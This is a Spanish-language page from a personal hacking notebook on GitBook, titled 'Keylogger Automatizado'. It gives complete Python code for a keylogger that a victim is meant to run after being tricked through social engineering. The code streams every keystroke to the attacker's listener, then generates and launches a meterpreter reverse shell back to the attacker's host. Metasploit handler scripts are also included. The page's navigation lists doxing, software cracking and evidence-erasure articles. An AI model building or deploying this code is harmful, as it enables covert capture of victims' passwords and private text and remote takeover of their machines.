h4cker_b00k
  • Whoami
  • ARTIUCLOS
    • Tratamiento para la TTY
    • Permisos SUID
    • Honeypot
    • File2ban Privilege Escalation
    • Reversing Shell's (Creación)
    • Pfsense Firewall Configuración GUIA
    • EternalBlue Conf y Explotación
    • BlueKeep Conf y Explotación
    • Pass-The-Hash en Metasploit
    • Keylogger Automatizado
    • Visualizar Webcam en Windows
    • Kernel Conf Exploit
    • RevrseShell Oculta en windows
    • Crear CTF en Docker
    • Crear Dominio y Subdominio en apache2
    • Sticky Keys Hack
    • Bypass Login Linux (GRUB)
    • WOL (Wake On Lan) Conf
    • Shell Persistente PowerShell
    • Remcos (Técnica RAT)
    • Entorno virtual Anaconda/Miniconda Python
    • CVE-2024-10924 (Bypass-MFA-Wordpress)
    • CVE-2024-21413 (Outlook)
    • CVE-2023-32784 (Keepass-password-dump)
    • FTP vsftpd-2.3.4 backdoor
    • Activación de Office Permanente
    • Instalar SPSS (crack)
    • Servidor Node.js en Windows
    • Establecer Banner de entrada Ubuntu Server
    • Configuración de VLANs en Switch (PuTTY)
    • Crear Entorno Vulnerable en Nube Local (Docker)
  • Linux
    • Determinar S.O. (Victima)
  • Windows
    • Comandos Windows S.0.
    • Bypass UAC (Windows)
  • HERRAMIENTAS/TÉCNICAS
    • HackingWeb
      • SQL Injection
      • XSS (Cross Site Scripting)
      • NoSQL Injection
      • XXE Injection
      • Serialización/Deserialización
        • Deserialización Insegura Java (LAB)
        • Deserialización Insegura (PHP, Python y Java)
        • Deserialización Insegura PHP
        • Deserialización Insegura Python
      • Vulnerabilidad Open Redirect
      • XEE (XML External Entity Injection)
      • SSTI (Server-Side Template Injection)
      • Prototype Pollution (Contaminación de prototipos) JavaScript
      • IDOR (Insecure Direct Object Reference)
      • CORS (Cross-Origin Resource Sharing)
        • PortSwigger - CORS vulnerability with basic origin reflection
      • CSRF (Cross-Site Request Forgery)
    • Ingeniería Inversa
      • Radare2
    • Reconocimiento
      • NMAP
      • Dominios/Subdominios
      • Fuzzing
      • Crackmapexec
    • Explotación
      • LFI (Local File Inclusion)
      • Evil-winrm
      • Serealizacion/Deserealizacion
      • Poetry
    • Post-Explotación
      • Port Forwarding
      • A.D. Group Server Operators
      • Decrypt Firefox
    • Criptología
      • Openssl bruteforce script
    • Phishing
      • Phishing - Tools
      • Phishing Técnicas y Resultados
    • BadUSB
      • Digispark/USB Ninja (Función)
      • Digispark (Script)
      • Lista de signos Digispark
      • Bash Bunny
      • ScreenCrab
      • KeyCroc
      • Rubber Ducky
      • USB AutoRun
    • Hacking ActiveDirectory
      • KERBEROASTING Active Directory
      • Active Directory Hacking (Practicas-Teoria)
      • Active Directory Hacking (Auditorias entorno real)
    • DOXEO
      • BoxPiper Pagina Doxeo
      • Epieos Pagina Doxeo
      • Exposed Pagina Doxeo (Correo, numero, etc...)
      • GitHub Para Doxear
      • Hunter Pagina Doxeo
      • IntelligenceX Pagina Doxeo
      • OSINT Industries Pagina Doxeo (Correo, numero, etc...)
      • Phomber GitHub (Doxeo Numero de Teléfono)
      • Temp Mail Pagina Correos Temporales
    • Hacking Wifi
      • Reaver
      • Aircrack-ng (Practica)
    • BOF
      • Introducción
      • ret2win
      • Secuencias de De Bruijn
      • Shellcode
      • NOPs
      • 32-bit vs 64-bit
      • No eXecute (NX)
      • Programación Orientada al Retorno (ROP)
      • Error de Cadena de Formato
      • Stack Canaries
      • Ejecutables Independientes de Posición (PIE)
      • Aleatorización del Espacio de Direcciones (ASLR)
      • Sobrescritura de la Tabla de Desplazamiento Global (GOT)
      • RELRO (Relocation Read-Only)
      • Shellcode Confiable
      • One Gadgets y Malloc Hook
      • Syscalls (Llamadas al Sistema)
      • ret2dlresolve
      • ret2csu
      • Explotación a Través de Sockets
      • Creación de Procesos: fork
      • Stack Pivoting
  • CTF
    • VulnHub
      • Basic_Pentesting_1 VulnHub
      • Basic_Pentesting2 VulbHub
      • Corrosion2 VulnHub
      • BassamCTF VulnHub
      • BORN2ROOT_2 VulnHub
      • CengBox VulnHub
      • Chill_hack VulnHub
      • CK-00 VulnHub
      • Clover_1 VulnHub
      • Cofeeaddicts VulnHub
      • Connect-The-Dots VulnHub
      • djinn_2 VulnHub
      • driftingblues_7 VulnHub
      • doubletrouble VulnHub
      • Dripping_blues VulnHub
      • Durian VulnHub
      • Election VulnHub
      • Empire Lupin One VulnHub
      • EVILBOX_ONE VulnHub
      • Funbox_Lunchbreaker VulnHub
      • Gaara VulnHub
      • Gigachad_vh VulnHub
      • HACK ME PLEASE VulnHub
      • HACKATHONCTF2 VulnHub
      • Hackeable ll VulnHub
      • Hacksudo_Aliens VulnHub
      • Ica1 VulnHub
      • Jangow VulnHub
      • Jetty VulnHub
      • LiterallyVulnerable VulnHub
      • Masashi VulnHub
      • MINU_1 VulnHub
      • Momentum VulnHub
      • MoneyBox VulnHub
      • Monitoring VulnHub
      • Noob VulnHub
      • Odin VulnHub
      • Photographer VulnHub
      • Prime_2 VulnHub
      • PYLINGTON VulnHub
      • RootThis_1 VulnHub
      • Seppuku VulnHub
      • shenron-3 VulnHub
      • Shuriken_1 VulnHub
      • So_simple_1 VulnHub
      • Stapler VulnHub
      • Sumo VulnHub
      • SUNSET_DUSK VulnHub
      • Symfonos_1 VulnHub
      • System_failure VulnHub
      • Thales VulnHub
      • THOTH_TECH_1 VulnHub
      • unknowndevice64 VulnHub
      • Vikings VulnHub
      • ColddBoxEasy_EN VulnHub
      • KB-VULN3 VulnHub
      • Funbox_CTF_4 VulnHub
      • NASEF_1 LOCATING TARGET VulnHub
      • NiveK VulnHub
    • HackTheBox
      • Usage HackTheBox
      • Perfection HackTheBox
      • Headless HackTheBox
      • Editorial HackTheBox
      • Builder HackTheBox
      • BoardLight HackTheBox
      • Bizness HackTheBox
      • Chemistry HackTheBox
      • Titanic HackTheBox
    • TryHackMe
      • RootMe TryHackMe
      • Bounty Hacker TryHackMe
      • Mr Robot CTF TryHackMe
      • Creative TryHackMe
    • Dockerlabs
      • AaguaDeMayo DockerLabs (Easy)
      • Asucar DockerLabs (Intermediate)
      • Bashpariencias DockerLabs (Intermediate)
      • Chocolatefire DockerLabs (Intermediate)
      • Collections DockerLabs (Intermediate)
      • Skullnet Dockerlabs (Difícil)
      • Mirame DockerLabs (Easy)
      • Buscalove DockerLabs (Easy)
      • Hidden DockerLabs (Intermediate)
      • Hackpenguin DockerLabs (Intermediate)
      • Fileception DockerLabs (Intermediate)
      • Domain DockerLabs (Intermediate)
      • ChatMe DockerLabs (Intermediate)
      • Devil DockerLabs (Intermediate)
      • Usersearch DockerLabs (intermediate)
      • Insecure DockerLabs (Hard)
      • Debugme DockerLabs (Hard)
      • Forgotten_portal DockerLabs (Intermediate)
      • Elevator DockerLabs (Easy)
      • Stack DockerLabs (Intermediate)
      • Hedgehog DockerLabs (Very Easy)
      • Report DockerLabs (intermediate)
      • Reverse DockerLabs (intermediate)
      • Reflection DockerLabs (Easy)
      • Spain DockerLabs (Hard)
      • Raas DockerLabs (Hard)
      • Database DockerLabs (Intermediate)
      • DevTools DockerLabs (intermediate)
      • Dockerlabs DockerLabs (Easy)
      • PyRed DockerLabs (Intermediate)
      • SecretJenkins DockerLabs (Easy)
      • Backend DockerLabs (Easy)
      • Eclipse DockerLabs (intermediate)
      • Cachopo DockerLabs (Intermediate)
      • Fooding DockerLabs (Intermediate)
      • Extraviado DockerLabs (Easy)
      • DockHackLab DockerLabs (Intermediate)
      • SummerVibes DockerLabs (Hard)
      • WalkingCMS DockerLabs (Easy)
      • Patriaquerida DockerLabs (Easy)
      • Psycho DockerLabs (Easy)
      • Picadilly DockerLabs (Easy)
      • Anonymouspingu DockerLabs (Easy)
      • Veneno DockerLabs (Intermediate)
      • DoubleTrouble DockerLabs (Hard)
      • FindYouStyle DockerLabs (Easy)
      • Move DockerLabs (Easy)
      • Los 40 Ladrones DockerLabs (Easy)
      • Library DockerLabs (Easy)
      • NorC DockerLabs (Hard)
      • Predictable DockerLabs (Hard)
      • Winterfell DockerLabs (Easy)
      • Pntopntobarra DockerLabs (Easy)
      • ConsoleLog DockerLabs (Easy)
      • Queuemedic DockerLabs (Hard)
      • Stranger DockerLabs (Intermediate)
      • WhereIsMyWebShell DockerLabs (Easy)
      • Insanity DockerLabs (Hard)
      • NodeClimb DockerLabs (Easy)
      • MyBB DockerLabs (Intermediate)
      • Seeker DockerLabs (Intermediate)
      • sjd DockerLabs (Very Easy)
      • Hiddencat DockerLabs (Easy)
      • Verdejo DockerLabs (Easy)
      • ChocolateLovers DockerLabs (Easy)
      • Pinguinazo DockerLabs (Easy)
      • Vendetta DockerLabs (Easy)
      • Pequenas-mentirosas DockerLabs (Easy)
      • Balulero DockerLabs (Easy)
      • Whoiam DockerLabs (Easy)
      • Apolos DockerLabs (Intermediate)
      • Injection DockerLabs (Very Easy)
      • Unrecover DockerLabs (Intermediate)
      • Trust DockerLabs (Very Easy)
      • Firsthacking DockerLabs (Very Easy)
      • BreakMySSH DockerLabs (Very Easy)
      • Borazuwarahctf DockerLabs (Very Easy)
      • Vacaciones DockerLabs (Very Easy)
      • Obsession DockerLabs (Very Easy)
      • Swiss DockerLabs (Intermediate)
      • Internship DockerLabs (Easy)
      • Canario DockerLabs (Hard)
      • ApiRoot DockerLabs (Intermediate)
      • Amor DockerLabs (Easy)
      • Walking Dead DockerLabs (Easy)
      • Master DockerLabs (Intermediate)
      • StrongJenkins DockerLabs (Intermediate)
      • PingPong DockerLabs (Intermediate)
      • Allien DockerLabs (Easy)
      • Paradise DockerLabs (Easy)
      • ApiBase DockerLabs (Easy)
      • Smashing DockerLabs (Hard)
      • Rubiks DockerLabs (Intermediate)
      • Inclusion DockerLabs (Intermediate)
      • Sites DockerLabs (Intermediate)
      • Upload DockerLabs (Easy)
      • ShowTime DockerLabs (Easy)
      • MachuPicchu DockerLabs (Intermediate)
      • ChocoPing DockerLabs (Intermediate)
      • Crystalteam DockerLabs (Intermediate)
      • Balufood DockerLabs (Easy)
      • Bicho DockerLabs (Easy)
      • Gallery DockerLabs (Hard)
      • Ciberguard DockerLabs (Intermediate)
      • Galeria DockerLabs (Easy)
      • TheDog DockerLabs (Intermediate)
    • BugBountyLabs
      • Reflection BugBountyLabs (Principiante)
      • Escape BugBountyLabs (Principiante)
      • DogShow BugBountyLabs (Avanzado)
      • Trr0rlabs BugBountyLabs (Avanzado)
      • XSSaS BugBountyLabs (Experto)
      • Redirection BugBountyLabs (Principiante)
      • HiddenRedirection BugBountyLabs (Principiante)
      • Corsy BugBountyLabs (Avanzado)
      • Forgery BugBountyLabs (Principiante)
      • ConnectX BugBountyLabs (Principiante)
      • NeoMarket BugBountyLabs (Avanzado)
      • Access BugBountyLabs (Principiante)
      • Listing BugBountyLabs (Principiante)
    • TheHackersLabs
      • Quokka (Windows) TheHackersLabs (Principiante)
      • Microchoft (Windows) TheHackersLabs (Principiante)
      • Ensalá Papas (Windows) TheHackersLabs (Principiante)
      • Accounting (Windows) TheHackersLabs (Principiante)
      • Cocido Andaluz (Windows) TheHackersLabs (Principiante)
      • Espeto Malagueño (Windows) TheHackersLabs (Principiante)
    • HackMyVM
      • Liar HackMyVM (Easy - Windows)
      • Zero HackMyVM (Easy - Windows)
      • Simple HackMyVM (Easy - Windows)
      • TriplAdvisor HackMyVM (Easy - Windows)
      • Runas HackMyVM (Easy - Windows)
      • Always HackMyVM (Easy - Windows)
      • DC01 HackMyVM (Easy - Windows)
      • quoted HackMyVM (Easy - Windows)
      • Nessus HackMyVM (Easy - Windows)
      • Jan HackMyVM (Easy - Linux)
      • DC02 HackMyVM (Intermediate - Windows)
      • Qweasd HackMyVM (Intermediate - Linux)
      • Gift HackMyVM (Easy - Linux)
      • Pingme HackMyVM (Intermediate - Linux)
      • Smol HackMyVM (Intermediate - Linux)
      • Noob HackMyVM (Easy- Linux)
      • Pingme HackMyVM (Intermediate - Linux)
      • Hundred HackMyVM (Intermediate - Linux)
      • Driftingblues6 HackMyVM (Easy- Linux)
      • Alzheimer HackMyVM (Easy- Linux)
      • Tron HackMyVM (Easy- Linux)
      • Superhuman HackMyVM (Easy- Linux)
      • Ripper HackMyVM (Easy- Linux)
      • Gigachard HackMyVM (Easy- Linux)
      • Hidden HackMyVM (Easy- Linux)
      • Method HackMyVM (Easy- Linux)
      • Hostname HackMyVM (Easy- Linux)
      • BaseME HackMyVM (Easy- Linux)
      • May HackMyVM (Intermediate - Linux)
      • Driftingblues3 HackMyVM (Easy- Linux)
      • hommie HackMyVM (Easy- Linux)
      • forbidden HackMyVM (Intermediate- Linux)
      • t800 HackMyVM (Easy - Linux)
      • Twisted HackMyVM (Easy- Linux)
      • Connection HackMyVM (Easy - Linux)
      • Flower HackMyVM (Easy- Linux)
      • Helium HackMyVM (Easy- Linux)
      • Suidy HackMyVM (Intermediate - Linux)
      • WebMaster HackMyVM (Easy - Linux)
      • Locker HackMyVM (Easy - Linux)
      • Soul HackMyVM (Hard - Linux)
      • Visions HackMyVM (Easy - Linux)
      • Friendly3 HackMyVM (Easy - Linux)
      • Friendly HackMyVM (Easy - Linux)
      • Friendly2 HackMyVM (Easy - Linux)
      • Comingsoon HackMyVM (Easy - Linux)
      • SuidyRevenge HackMyVM (Hard - Linux)
      • Insomnia HackMyVM (Easy - Linux)
      • Uvalde HackMyVM (Easy - Linux)
      • System HackMyVM (Easy - Linux)
    • CTF's
      • CTF Avengers Easy
      • CTF Ciberhack Intermediate
      • Ghost CTF Hard
      • CTF Cyb3rSh1€ld Intermediate
      • CTF HackMeDaddy Hard
      • CTF inj3ct0rs Intermediate
      • CTF LFI.elf Easy
      • CTF Ctrl-X Easy
      • CTF r00tless Hard
      • CTF 0xc0ffee Intermediate
      • CTF Memesploit Intermediate
      • CTF Jenkhack Easy
      • CTF chmod-4755 Intermediate
      • CTF 404-not-found Easy
      • CTF dance-samba Intermediate
      • CTF VulnVault Intermediate
      • CTF CrackOff Hard
      • CTF PressEnter Easy
      • CTF Mapache2 Intermediate
      • CTF Hackzones Intermediate
      • CTF Darkweb Hard
      • CTF Flow Hard
      • CTF Sender Intermediate
      • CTF Cracker Intermediate
      • CTF Express Intermediate
      • CTF CineHack Intermediate
      • CTF LifeOrDead Hard
      • CTF TpRoot Very Easy
      • CTF Gitea Intermediate
      • CTF SecureLAB Hard
      • CTF Goodness Easy
      • CTF LogisticCloud Intermediate
  • Conceptos de Ciberseguridad en Hacking Ético
    • Contenido...
      • Teoría Hacking Ético
        • Introducción
      • Recopilación Pasiva de información
        • Introducción
        • Hacking con buscadores de internet
        • Pagina Shodan
        • Pagina Censys
        • Registros o BBDD Whois
        • Archive (Análisis de información histórica)
        • TheHarvester
          • TheHarvester Herramienta
          • Bloqueo temporal de dirección IP pública
        • Maltego
          • Instalacion de maltego en kali linux
          • Funcionamiento de Maltego
          • Instalar transformador con API Key
          • Utilizar transformador shodan en maltego
        • Recon-ng Herramienta
      • Recopilación Semi-Pasiva de información
        • Introducción
        • Entorno controlado (LAB)
        • FOCA (Análisis de metadatos)
          • Introducción FOCA
          • Instalar FOCA
          • Funciones de FOCA
        • Herramientas alternativas para Kali de extracción de metadatos
          • Herramienta Metagoofil
          • Herramienta Metashield-analyzer
        • Introducción al protocolo DNS
        • CentralOps y DNSdumpster
          • CentralOps
          • DNSdumpster
        • Sniffers
          • Wireshark
          • TCPdump
      • Recopilación Activa de información
        • Introducción
        • Metasploitable3
          • Entorno vulnerable (Metasploitable3 (Presentación))
          • Instalacion de Metasploitable3
          • Linux Ubuntu-Windows Server 2008 - Metasploitable3
        • DNSRecon Herramienta (Ficheros de zona)
        • Nmap Herramienta
          • Introducción
          • Descubrimiento de hosts (Host Discovery)
          • Escaneo de puertos
          • Descubrimiento de servicios
          • Amap (descubrimiento de servicios)
          • Nmap (identificación del sistema operativo)
          • Nmap (SMB Enumeration)
          • Nmap (SNMP enumeration)
      • Análisis de vulnerabilidades
        • Introducción
        • CVE, CVSS, CPE - Common Vulnerabilities and Exposures
        • Análisis de vulnerabilidades con Nmap
        • Nessus Herramienta (Mas utilizada)
          • Instalación Nessus
          • Nessus (Análisis básico de vulnerabilidades)
          • Nessus (Análisis avanzado de vulnerabilidades)
        • Otras Herramientas
      • Explotación y Hacking de vulnerabilidades en Hosts
        • Explotación de vulnerabilidades
        • Explotacion manual de vulnerabilidades Host
        • Metasploit Herramienta
          • Introducción
          • Metasploit (Explotación básica)
          • Metasploit (explotación avanzada)
          • Metasploit (Creación de payloads personalizados)
          • Metasploit (Importando los resultados de Nessus)
          • Armitage (interfaz grafica de metasploit)
      • Explotación y Hacking de vulnerabilidades Web
        • Instalación de maquina virtual Ubuntu
        • Instalación aplicación Web vulnerable (Mutillidae II)
        • Burp Suite
          • Introducción
          • Spidering y Crawling con Burp Suite y skipfish
          • Inyecciones de codigo y contexto
        • Introducción (SQL Injection)
        • SQLmap Herramienta
          • SQLmap (Blind SQL Injection - Parte 1)
          • SQLmap (Funcionalidad - Parte 2)
        • Path Traversal o Directory Traversal
        • WebShells
        • Unrestricted File Upload
        • HTML Injection y Cross-Site-Scripting (XSS)
        • CSRF (Cross-site request forgery)
        • XSStrike Herramienta
        • Otras técnicas de explotación (Cookie Tampering, command injection...)
          • Command Injection
          • Cookie Tampering
        • Info Extra Burp Suite
      • Explotación y Hacking de vulnerabilidades en Red
        • Man in the middle (MITM)
        • Introducción e instalación de Bettercap
        • ARP Spoofing
        • DNS Spoofing
        • Social Engineering ToolKit (SET)
        • Polymorph Herramienta
          • Manipulación de trafico de red en tiempo real
          • Polymorph (Manipulación de trafico ICMP)
          • Polymorph (Manipulación de trafico MQTT)
          • BONUS (Explotando un fallo de seguridad en Windows 10)
          • DEMO (Explotación avanzada WINREG)
      • Técnicas de Post-Explotación
        • Introducción (Técnica de Post-Explotación)
        • Linux-Windows Meterpreter Post-Explotación
          • Linux (Meterpreter para Post-Explotación)
          • Windows (Meterpreter para Post-Explotación)
          • Elevación de privilegios (UAC Bypass)
          • Volcado de memoria con Mimikatz
        • Procdump y lsass.exe
        • Cracking de contraseñas (John the ripper y Hashcat)
        • Backdoors en binarios
        • Migración de meterpreter a otro proceso
        • Borrado de evidencias
          • Info
          • Linux (Herramientas Borrado de evidencias)
          • Windows (Herramientas Borrado de evidencias)
          • Archivos relevantes para eliminar
            • Rutas Windows Importantes que borrar
            • Rutas Linux Importantes que borrar
      • Machine Learning aplicado a Hacking
        • Introducción
        • Machine Learning aplicado a la Ciberseguridad
        • BATEA (Reconocimiento de hosts con ML)
        • Pesidious (Mutaciones con Deep Learning)
        • Ingeniería Social - Deep fake
  • ciberseguridad avanzada hacking ético
    • Contenido...
      • Entorno de aprendizaje
        • CherryTry
        • Entorno de trabajo (Kali Linux)
      • Recopilación avanzada de información
        • Introducción
        • Preparación del entorno - VulnHub
        • Preparación del entorno - Snort
        • Escaneo Avanzado de Hosts - Parte l
        • Escaneo avanzado de puertos
        • Fragmentación de paquetes con Nmap
        • Escaneo utilizando señuelos con Nmap
        • Spoofing de la identidad del atacante con Nmap
        • Control de velocidad de escaneo con Nmap
        • Escaneo en IPv6 con Nmap
        • Escaneo avanzado de servicios y OS
        • Alternativas a Nmap - Naabu y Netcat
        • Escaneo de puertos ultrarrápido - Masscan
      • Hacking Ético en entornos Active Directory - Parte 1
        • Introducción
        • Instalación y configuración del DC
        • Instalación de máquinas Windows en dominio
        • Características de AD - Usuarios, Grupos y OUs
        • Características de AD - GPOs y recursos compartidos
        • Recopilación de información en Active Directory
        • PowerView
        • Enumeración local de SAM
        • Enumeración remota de SAM
        • Impacket y Rpcclient
        • AD Module
        • Enumeración de NTDS - Parte 1
        • Enumeración de NTDS - Parte 2
        • Ldapsearch, pywerview, jxplorer
        • BloodHound
      • Hacking Ético en entornos Active Directory - Parte 2
        • Descriptores de seguridad y ACLs
        • Vulnerable AD
        • Identificación de ACLs vulnerables
        • Explotación de ACLs vulnerables
        • Explotación DCSync
        • Password Spraying
        • Funcionamiento de Kerberos
        • Kerberos en Active Directory
        • Enumeración de usuarios con Kerberos
        • Fuerza bruta con Kerberos
        • AS-REQ Roasting
        • Instalación Rubeus
        • AS-REP Roasting
        • TGS-REP Roasting (Kerberoasting)
      • Acceso a credenciales y movimientos laterales
        • Autenticación y Autorización en Windows
        • Volcado de Isass y SAM en Windows
        • Volcado de Isass y SAM en Linux
        • Volcado de credenciales de dominio cacheadas (mscash)
        • Pass-The-Hash con Windows
        • Pass-The-Hash con Linux
        • Over Pass-The-Hash - Pass-The-Key
        • Pass-The-Ticket
        • ASK-TGT - TGS
        • Kerberos Golden Ticket y Silver Ticket
        • NTLM Roasting
        • LLMNR - NBTNS Poisoning
        • NTLM - SMB Relay
        • Token impersonation
        • Problemas y errores instalación Covenant
        • Frameworks de postexplotación - Covenant
      • Hacking avanzado de aplicaciones web y Bug Bounty
        • Una palabras sobre Bug Bounty
        • Preparación del entorno vulnerable
        • Identificación de subdominios - Subfinder, Sublist3r y Subbrute
        • Identificación de tecnologías web - WhatWeb y WebAnalyzer
        • Identificación de contenido - Dirbuster
        • Gobuster y Seclists
        • Análisis de vulnerabilidades - OWASP ZAP Proxy
        • Nikto y Skipfish
        • Nuclei y Nuclei Templates
        • Fuzzing básico con ffuf
        • Fuzzing avanzado con ffuf
        • Explotación - Commix
        • Changeme, Gitleaks y CyberChef
      • Detección y evasión de defensas
        • Introducción a la evasión de defensas
        • Load Balancing detector - halberd
        • WAF detector - wafw00f
        • Evasión de WAF
        • Evasión de antivirus con C - Parte 1
        • Evasión de antivirus con C - Parte 2
        • Otras técnicas de evasión con C
        • Evasión de detección en tiempo real
        • Evasión con GreatSCT
        • Evasión con TheFatRat
        • Otras herramientas de evasión - Veil, Shellter, MSFManía...
      • Hacking Ético y Post-explotación avanzada
        • Port Forwarding
        • Port Forwarding con SSH
        • Pivoting
        • Netcat Port-Pivot Relay
        • Local Tunneling - LocalTunnel y Ngrok
        • Transferencia de ficheros
      • Hacking Ético en entornos reales (Amazon AWS)
        • Arquitectura y registro en la nube (AWS)
        • Infraestructura de red en la nube (AWS)
        • Seguridad y Computación en la nube (AWS)
        • Balanceadores y almacenamiento en la nube (AWS)
        • Recopilación de información en un entorno real
        • Controles de seguridad en un entorno real
        • Auditando la infraestructura interna
        • Tipos de auditorias de seguridad
  • PROYECTO DAM
    • Documentación PROYECTO_DAM
Powered by GitBook
On this page
  • Contenido del script
  • Preparar la escucha en metasploit
  • Requisitos para el script
  • Pasarlo a .elf
  • Pasarlo a .exe
  1. ARTIUCLOS

Keylogger Automatizado

Contenido del script

Tendremos 2 scripts, uno que sera el que tendremos en nuestro host como modo servidor estando a la escucha de todas las teclas que se presionan visualizandolo a tiempo real y despues otro que sera el que tenga que ejecutar el ususario victima mediante ingenieria social, a parte el script de la victima genera automaticamente un Reverse Shell por lo que si queremos generar una shell a esa maquina tendremos que estar a la escucha con metasploit con el modulo multi/handler.

server_host.py

import socket
import colorama
from colorama import Fore, Style, Back
import sys

# Inicializar colorama
colorama.init(autoreset=True)

# Dirección IP y puerto del servidor
HOST = '0.0.0.0'  # Escuchar en todas las interfaces de red
PORT = 7777       # Puerto actualizado

# Crear un socket para escuchar las conexiones entrantes
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((HOST, PORT))
server_socket.listen(1)

# Imprimir el estado de escucha con colores
print(Fore.GREEN + Style.BRIGHT + f"\n{'='*60}")
print(Fore.GREEN + Style.BRIGHT + f"🟢 Escuchando en {HOST}:{PORT}...")
print(Fore.GREEN + Style.BRIGHT + f"{'='*60}\n")

# Aceptar la conexión del cliente
client_socket, client_address = server_socket.accept()
print(Fore.CYAN + Style.BRIGHT + f"🔗 Conexión establecida con {client_address}\n")
print(Fore.YELLOW + Style.BRIGHT + f"{'-'*60}")

# Función para simplificar las teclas
def simplify_key(key):
    key_mappings = {
        'Key.space': ' ',
        'Key.enter': '[ENTER]',
        'Key.tab': '[TAB]',
        'Key.backspace': '[BACKSPACE]',
        'Key.shift': '',
        'Key.ctrl_l': '[CTRL]',
        'Key.alt_l': '[ALT]',
        'Key.cmd': '[CMD]',
    }
    return key_mappings.get(key, key.replace('Key.', '').replace('\'', ''))

# Recibir y procesar las teclas en tiempo real
try:
    while True:
        data = client_socket.recv(1024).decode('utf-8')
        if data:
            keys = data.split(' | ')
            cleaned_text = ''.join([simplify_key(key) for key in keys])
            print(Fore.YELLOW + Style.BRIGHT + '\rTexto recibido: ' + Fore.WHITE + cleaned_text + ' '*10)
        else:
            break
except Exception as e:
    print(Fore.RED + Style.BRIGHT + f"\n❌ Error en la conexión: {e}\n")
finally:
    client_socket.close()
    server_socket.close()
    print(Fore.MAGENTA + Style.BRIGHT + "\n🔒 Conexión cerrada.\n")

En este script server_host.py lo que tendremos que cambiar sera el puerto de la seccion PORT = y poner el puerto que queramos donde queremos que se nos envie la informacion que tendra que estar igual que en el script de capture_victim.py.

capture_victim.py

import os
import socket
import sys
import platform
import subprocess
import threading
from colorama import Fore, Style, init

# Inicializar colorama
init(autoreset=True)

# Intentar importar pynput para entornos gráficos
try:
    from pynput import keyboard as pynput_keyboard
    use_pynput = True
except ImportError:
    use_pynput = False

# Importar keyboard para entornos no gráficos
if not use_pynput:
    import keyboard as kb

# Dirección IP y puerto del servidor
SERVER_IP = '<YOUR_IP>'  # Reemplaza con la IP del servidor
PORT = 7777
REVERSE_PORT = 7755  # Puerto para la shell reversa

# Crear un socket para conectarse al servidor
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((SERVER_IP, PORT))

print(Fore.GREEN + Style.BRIGHT + f"\n{'='*60}")
print(Fore.GREEN + Style.BRIGHT + f"🟢 Conectado al servidor en {SERVER_IP}:{PORT}")
print(Fore.GREEN + Style.BRIGHT + f"{'='*60}\n")

# Función para generar la payload de la reverse shell
def generate_reverse_shell():
    os_name = platform.system().lower()
    shell_file = ""

    if os_name == "windows":
        shell_file = "shell.exe"
        command = f"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={SERVER_IP} LPORT={REVERSE_PORT} -f exe > {shell_file}"
    elif os_name == "linux":
        shell_file = "shell.elf"
        command = f"msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={SERVER_IP} LPORT={REVERSE_PORT} -f elf > {shell_file}"
    else:
        print(Fore.RED + Style.BRIGHT + "❌ Sistema operativo no soportado para la reverse shell.")
        return None

    print(Fore.CYAN + Style.BRIGHT + f"⚙️ Generando la reverse shell para {os_name}...")
    subprocess.run(command, shell=True)
    return shell_file

# Función para ejecutar la reverse shell
def execute_reverse_shell(shell_file):
    if shell_file:
        try:
            print(Fore.CYAN + Style.BRIGHT + f"🚀 Ejecutando la reverse shell {shell_file}...")
            if platform.system().lower() == "windows":
                os.startfile(shell_file)
            else:
                subprocess.run(f"chmod +x {shell_file} && ./{shell_file}", shell=True)
        except Exception as e:
            print(Fore.RED + Style.BRIGHT + f"❌ Error ejecutando la reverse shell: {e}")

# Función para capturar teclas
def capture_keystrokes():
    # Configurar variables para el diseño
    data_buffer = []

    # Función para enviar las teclas al servidor
    def send_to_server(key):
        data_buffer.append(key)
        if len(data_buffer) > 20:
            data_buffer.pop(0)
        message = ' | '.join(data_buffer)
        client_socket.sendall(message.encode('utf-8'))

    # Manejador de eventos para pynput
    def on_pynput_key_press(key):
        try:
            key_str = key.char
        except AttributeError:
            key_str = str(key)
        send_to_server(key_str)

    # Configurar el listener para el teclado en entornos gráficos
    if use_pynput:
        print(Fore.CYAN + Style.BRIGHT + "🔄 Usando pynput para captura de teclas en entorno gráfico.")
        listener = pynput_keyboard.Listener(on_press=on_pynput_key_press)
        listener.start()
        listener.join()
    else:
        # Configurar el listener para el teclado en entornos no gráficos
        print(Fore.CYAN + Style.BRIGHT + "🔄 Usando keyboard para captura de teclas en terminal.")
        def on_kb_event(event):
            send_to_server(event.name)
        
        kb.on_press(on_kb_event)
        kb.wait()  # Mantener el script en ejecución en entorno de terminal

# Ejecutar la shell y captura de teclas en paralelo
if __name__ == "__main__":
    # Generar y ejecutar la reverse shell
    shell_file = generate_reverse_shell()

    # Iniciar el hilo de captura de teclas
    keystroke_thread = threading.Thread(target=capture_keystrokes)
    keystroke_thread.start()

    # Ejecutar la reverse shell en el hilo principal
    if shell_file:
        execute_reverse_shell(shell_file)

    # Esperar que el hilo de captura de teclas termine
    keystroke_thread.join()

    # Cerrar la conexión después de terminar
    client_socket.close()
    print(Fore.MAGENTA + Style.BRIGHT + "\n🔒 Conexión cerrada.\n")

En este script para la victima hay que modificar la IP en la seccion SERVER_IP = poner tu IP en la que quieres que se vea lo que teclea el usuario victima, despues la primera seccion de puerto llamada PORT = sera al puerto en el que se va a conectar para enviarte toda la informacion que debera de coincidir con el script server_host.py y despues en la seccion de REVERSE_PORT = debera de ir el puerto en el que hayamos configurado nuestra escucha en metasploit.

Preparar la escucha en metasploit

Ahora tendremos que habrir metasploit para prepararnos la escucha en otra pestaña de la terminal a parte.

Pero antes de abrir metasploit prepararemos un comando que automatiza este proceso.

Para windows

nano handler_win.rc

#Dentro del nano
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
run

Hay configuraremos el puerto que pusimos en la seccion de REVERSE_PORT = en el script de capture_victim.py y la IP a la que queremos que se nos envie la shell que sera nuestra IP del host.

Para linux

nano handler_lin.rc

#Dentro del nano
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT <PORT>
run

Hay configuraremos el puerto que pusimos en la seccion de REVERSE_PORT = en el script de capture_victim.py y la IP a la que queremos que se nos envie la shell que sera nuestra IP del host.

Una vez creados estos archivos en mi caso utilizare el de handler_lin.rc por lo que abriremos ahora si metasploit de esta manera cargando el archivo.

